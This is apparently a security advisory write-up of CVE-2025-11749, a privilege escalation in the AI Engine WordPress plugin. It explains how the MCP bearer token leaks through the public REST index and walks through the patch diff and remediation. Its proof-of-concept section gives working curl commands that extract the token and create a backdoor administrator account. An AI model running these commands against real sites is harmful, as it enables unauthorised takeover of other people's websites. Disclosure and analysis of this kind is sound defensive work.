AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin banner

CVE-2025-11749: Privilege Escalation in AI Engine Plugin

CVE-2025-11749 is a CVSS 9.8 Critical vulnerability in the AI Engine WordPress plugin. It allows an unauthenticated attacker to steal a private authentication token and use it to become a site administrator. When the “No-Auth URL” feature is enabled, the plugin leaks its MCP bearer token through the public WordPress REST API discovery index. An attacker who finds that token can authenticate as an administrator, create backdoor admin accounts, and take over the site.

Vulnerability Summary

FieldValue
Plugin NameAI Engine – The Chatbot, AI Framework & MCP for WordPress
Plugin Slugai-engine
CVE IDCVE-2025-11749
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Sensitive Information Exposure to Privilege Escalation
Affected Versions<= 3.1.3
Patched Version3.1.4
PublishedNovember 4, 2025
ResearcherEmiliano Versini
Wordfence AdvisoryLink

Description

The AI Engine plugin (versions up to and including 3.1.3) exposes its private MCP bearer token through the /mcp/v1/ REST API endpoint when the “No-Auth URL” option is enabled. An unauthenticated attacker who finds this token can use it to authenticate as an administrator. From there, they can create new admin accounts and take over the site.

Technical Analysis

Vulnerable Code Path

The vulnerability lives in labs/mcp.php within the rest_api_init() method (lines 98–123).

When the site administrator enables the “No-Auth URL” feature (mcp_noauth_url option), the plugin registers WordPress REST API routes with the private bearer token embedded directly in the URL path:

// labs/mcp.php, lines 98-123
$noauth_enabled = $this->core->get_option( 'mcp_noauth_url' );
if ( $noauth_enabled && !empty( $this->bearer_token ) ) {
  register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
    'methods' => 'GET',
    'callback' => [ $this, 'handle_sse' ],
    'permission_callback' => function ( $request ) {
      return $this->handle_noauth_access( $request );
    },
  ] );

  register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
    'methods' => 'POST',
    'callback' => [ $this, 'handle_sse' ],
    'permission_callback' => function ( $request ) {
      return $this->handle_noauth_access( $request );
    },
  ] );

  register_rest_route( $this->namespace, '/' . $this->bearer_token . '/messages', [
    'methods' => 'POST',
    'callback' => [ $this, 'handle_message' ],
    'permission_callback' => function ( $request ) {
      return $this->handle_noauth_access( $request );
    },
  ] );
}

This creates REST routes of the form:

None of these route registrations includes 'show_in_index' => false, so WordPress includes them in its public REST API discovery index.

Full execution path to privilege escalation:

  1. Attacker calls GET /wp-json/ (unauthenticated) → WordPress returns a JSON object listing all registered REST routes, including mcp/v1/<SECRET_TOKEN>/sse and mcp/v1/<SECRET_TOKEN>/messages
  2. Attacker parses the JSON response and extracts <SECRET_TOKEN> from the route path
  3. Attacker sends a JSON-RPC tools/call POST request to /wp-json/mcp/v1/sse with Authorization: Bearer <SECRET_TOKEN> header
  4. The auth_via_bearer_token() filter (lines 144–217) validates the token via hash_equals(), sets the current user to the site administrator (wp_set_current_user($admin->ID)), and grants full access
  5. Attacker calls the wp_create_user MCP tool (defined in labs/mcp-core.php, line 64) with role=administrator to create a backdoor admin account

The wp_create_user tool implementation (labs/mcp-core.php, lines 634–648):

case 'wp_create_user':
  $data = [
    'user_login' => sanitize_user( $a['user_login'] ),
    'user_email' => sanitize_email( $a['user_email'] ),
    'user_pass'  => $a['user_pass'] ?? wp_generate_password( 12, true ),
    'display_name' => sanitize_text_field( $a['display_name'] ?? '' ),
    'role' => sanitize_key( $a['role'] ?? get_option( 'default_role', 'subscriber' ) ),
  ];
  $uid = wp_insert_user( $data );

No role restriction prevents an attacker from passing 'role' => 'administrator'.

Root Cause

The register_rest_route() calls for the No-Auth URL endpoints do not set 'show_in_index' => false. WordPress’s REST API discovery index (/wp-json/) enumerates all registered routes by default. Because the secret bearer token is embedded in the route path itself, WordPress exposes it directly in the public discovery response.

Failed Security Controls

The authentication design for the No-Auth URL feature is fundamentally flawed: the bearer token is both the secret and the URL path. Keeping the token secret meant hoping no one would discover the URL. However, WordPress’s REST API index makes all route paths publicly accessible, which completely breaks that idea. Once the token is known, the auth_via_bearer_token() function treats it as fully valid and elevates the session to administrator level.

Attack Impact

An unauthenticated remote attacker can:

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Discover the bearer token via REST API index

Call the public WordPress REST API discovery endpoint. No authentication is required.

curl -s https://TARGET-SITE.com/wp-json/ | python3 -m json.tool | grep "mcp/v1"

In the response, look for routes matching the pattern mcp/v1/<TOKEN>/sse. The token is the path segment between mcp/v1/ and /sse.

Example output:

"mcp\/v1\/s3cr3t-b34r3r-t0k3n\/sse": { ... },
"mcp\/v1\/s3cr3t-b34r3r-t0k3n\/messages": { ... }

Extract s3cr3t-b34r3r-t0k3n as the bearer token.

Step 2: Verify token validity against the authenticated SSE endpoint

Use the extracted token as a Bearer token against the standard (non-No-Auth) MCP endpoint.

curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
  -H "Authorization: Bearer s3cr3t-b34r3r-t0k3n" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","clientInfo":{"name":"test","version":"1.0"}}}'

A valid JSON-RPC result response confirms the token is accepted and administrator access is granted.

Step 3: List available MCP tools

curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
  -H "Authorization: Bearer s3cr3t-b34r3r-t0k3n" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'

The response lists all available tools, including wp_create_user, wp_update_user, wp_delete_post, and many others.

Step 4: Create a new administrator account

curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
  -H "Authorization: Bearer s3cr3t-b34r3r-t0k3n" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
      "name": "wp_create_user",
      "arguments": {
        "user_login": "backdoor-admin",
        "user_email": "attacker@evil.com",
        "user_pass": "Str0ngP@ssword!",
        "role": "administrator"
      }
    }
  }'

Expected Result

The plugin creates a new WordPress user with administrator role. The attacker now has persistent admin access to the WordPress site and can log in via wp-admin using the credentials they specified.

Verification

After executing Step 4, verify the new account exists:

curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
  -H "Authorization: Bearer s3cr3t-b34r3r-t0k3n" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 4,
    "method": "tools/call",
    "params": {
      "name": "wp_get_users",
      "arguments": {"search": "backdoor-admin"}
    }
  }'

Or log in to the WordPress admin panel at https://TARGET-SITE.com/wp-admin with backdoor-admin / Str0ngP@ssword!.

Patch Analysis

Changes in Version 3.1.4

Only one file was changed: labs/mcp.php.

The fix adds 'show_in_index' => false to each of the three No-Auth URL route registrations.

Fix Explanation

The show_in_index argument in register_rest_route() controls whether a route appears in the WordPress REST API discovery index (/wp-json/). Setting it to false prevents WordPress from including these token-embedded routes in the public discovery response. The routes still work for clients that already know the URL. The difference is that the token no longer appears in the public index.

This is a targeted fix that addresses the information disclosure root cause. It does not change the underlying No-Auth URL design (which still embeds the token in the route path), so the token remains sensitive. It stops being advertised publicly.

Residual risk: If the bearer token was previously exposed (before patching), it should be rotated, because the fix does not invalidate already-leaked tokens. Site owners should regenerate the MCP bearer token after upgrading.

Code Diff (Key Changes)

-      register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
-        'methods' => 'GET',
-        'callback' => [ $this, 'handle_sse' ],
-        'permission_callback' => function ( $request ) {
-          return $this->handle_noauth_access( $request );
-        },
-      ] );
+      register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
+        'methods' => 'GET',
+        'callback' => [ $this, 'handle_sse' ],
+        'permission_callback' => function ( $request ) {
+          return $this->handle_noauth_access( $request );
+        },
+        'show_in_index' => false,
+      ] );

       register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
         'methods' => 'POST',
         'callback' => [ $this, 'handle_sse' ],
         'permission_callback' => function ( $request ) {
           return $this->handle_noauth_access( $request );
         },
+        'show_in_index' => false,
       ] );

       register_rest_route( $this->namespace, '/' . $this->bearer_token . '/messages', [
         'methods' => 'POST',
         'callback' => [ $this, 'handle_message' ],
         'permission_callback' => function ( $request ) {
           return $this->handle_noauth_access( $request );
         },
+        'show_in_index' => false,
       ] );

Timeline

DateEvent
UnknownVulnerability discovered and reported by Emiliano Versini
November 4, 2025Publicly disclosed by Wordfence
November 5, 2025Advisory last updated
November 4, 2025Patched version 3.1.4 released

Remediation

Update the ai-engine plugin to version 3.1.4 or later. After updating, regenerate the MCP Bearer Token in AI Engine settings (Settings → MCP → Bearer Token) to invalidate any previously leaked tokens.

References

  1. https://plugins.trac.wordpress.org/browser/ai-engine/trunk/labs/mcp.php#L226
  2. https://plugins.trac.wordpress.org/changeset/3380753/ai-engine#file10

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee